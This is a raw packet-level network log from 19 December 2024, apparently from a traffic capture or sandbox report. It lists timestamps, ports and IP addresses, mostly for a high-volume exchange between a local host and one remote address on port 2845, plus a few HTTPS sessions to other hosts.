Dec 19, 2024 13:45:19.325875998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.325905085 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.325992107 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.326843023 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.326992035 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.327136993 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.327936888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.327964067 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.328038931 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.328916073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.328993082 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.329021931 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.329920053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.329943895 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.330044031 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.330503941 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.330948114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.331074953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.331986904 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.332037926 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.332081079 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.333010912 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.333035946 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.333179951 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.334090948 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.334117889 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.334217072 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.334513903 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.335180044 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.335253000 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.336173058 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.336199045 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.336249113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.337301970 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.337327003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.386533976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.425364971 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:19.425395012 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:19.449083090 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.476198912 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.476327896 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.476399899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.476416111 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.476427078 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.477423906 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.477449894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.477555037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.477638960 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.478698969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.478775978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.479557991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.479635954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.479661942 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.479698896 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.480662107 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.480736017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.480863094 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.481412888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.481563091 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.481661081 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.482472897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.482578993 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.482932091 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.483546019 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.483680964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.483747959 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.484543085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.484666109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.485537052 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.485701084 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.485713959 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.485946894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.486573935 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.486699104 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.486816883 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.487623930 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.487680912 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.488051891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.488711119 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.488805056 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.488933086 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.506253958 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.506429911 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.506576061 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.542381048 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.542459965 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.568880081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.569062948 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.569447041 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.569502115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.569880009 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.570086002 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.570801973 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.570817947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.570864916 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.571490049 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.571588039 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.571726084 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.572304964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.572390079 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.572719097 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.573295116 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.573405027 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.573753119 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.574426889 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.574546099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.574634075 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.575459003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.575615883 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.576141119 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.576495886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.576620102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.576747894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.577730894 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.577873945 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.578171968 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.578762054 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.578946114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.579094887 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.579667091 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.579782009 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.579933882 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.580636978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.580681086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.580741882 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.581784964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.581912994 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.582015991 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.582994938 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.583178997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.583554029 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.585483074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.585498095 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.585514069 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.585530043 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.585637093 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.586046934 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.586137056 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.587405920 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.587431908 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.587575912 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.588460922 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.588479042 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.588485003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.588792086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.588815928 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.588898897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.589382887 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.589885950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.590233088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.590960026 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.591161013 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.591187954 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.591280937 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.591856003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.592187881 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.593038082 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.593065977 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.593259096 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.593305111 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.594249010 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.594268084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.594352007 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.595172882 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.595195055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.595247030 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.596190929 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.596370935 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.596473932 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.597302914 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.597421885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.597784042 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.598365068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.598381996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.598460913 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.599383116 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.599400043 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.599549055 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.600145102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.600241899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.600330114 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.601402044 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.601583958 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.601728916 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.602500916 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.602516890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.602782965 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.603353977 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.603538036 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.604110003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.604477882 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.604496956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.604583979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.605443001 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.605458975 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.605611086 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.606532097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.606899023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.606952906 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.607433081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.666640043 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.668067932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.668195009 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.668278933 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.668344021 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.668591022 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.668605089 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.669197083 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.669398069 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.669529915 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.669661999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.670491934 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.670502901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.670581102 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.671632051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.671644926 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.671907902 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.672364950 CET	49904	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:19.672389030 CET	49903	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:45:19.672405005 CET	443	49904	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:19.672406912 CET	443	49903	172.64.41.3	192.168.2.7
Dec 19, 2024 13:45:19.672451019 CET	49798	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:45:19.672521114 CET	443	49798	162.159.61.3	192.168.2.7
Dec 19, 2024 13:45:19.672585964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.672661066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.672684908 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.673572063 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.673693895 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.674575090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.674757957 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.674820900 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.675617933 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.675740004 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.675765991 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.676702023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.676870108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.676891088 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.677759886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.677838087 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.677845001 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.678759098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.678823948 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.678855896 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.679843903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.679855108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.680028915 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.680871010 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.680882931 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.680941105 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.681835890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.681909084 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.681931019 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.682809114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.682902098 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.682926893 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.683916092 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.684011936 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.684670925 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.684926033 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.685019016 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.685080051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.685966015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.686063051 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.686131954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.686979055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.687053919 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.687150002 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.688019991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.688702106 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.703459024 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.708436012 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:19.822999954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:19.827950954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:22.579955101 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:22.579997063 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:22.580054045 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:22.580362082 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:22.580373049 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.728854895 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:23.728899956 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.728986979 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:23.729389906 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:23.729408979 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.791402102 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.791697025 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:23.791713953 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.792186022 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.792979002 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:23.793052912 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.793181896 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:23.793200970 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:23.793226004 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:23.793231010 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.315872908 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.315949917 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.316534042 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.317550898 CET	49969	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.317564011 CET	443	49969	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.577841997 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.577872992 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.578008890 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.578238010 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.578244925 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.945961952 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.946578026 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.946597099 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.947735071 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.948251963 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.948426962 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.948503971 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.948503971 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:24.948538065 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:24.994920015 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:25.449642897 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.450426102 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.450567007 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:25.451096058 CET	49971	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:25.451118946 CET	443	49971	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.794424057 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.794868946 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:25.794892073 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.796071053 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.796550989 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:25.796741962 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.796834946 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:25.796878099 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:25.796952009 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:25.839358091 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:26.324575901 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:26.324656963 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:26.324670076 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:26.324687958 CET	443	49977	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:26.324774027 CET	49977	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:26.326394081 CET	49977	443	192.168.2.7	162.125.4.18
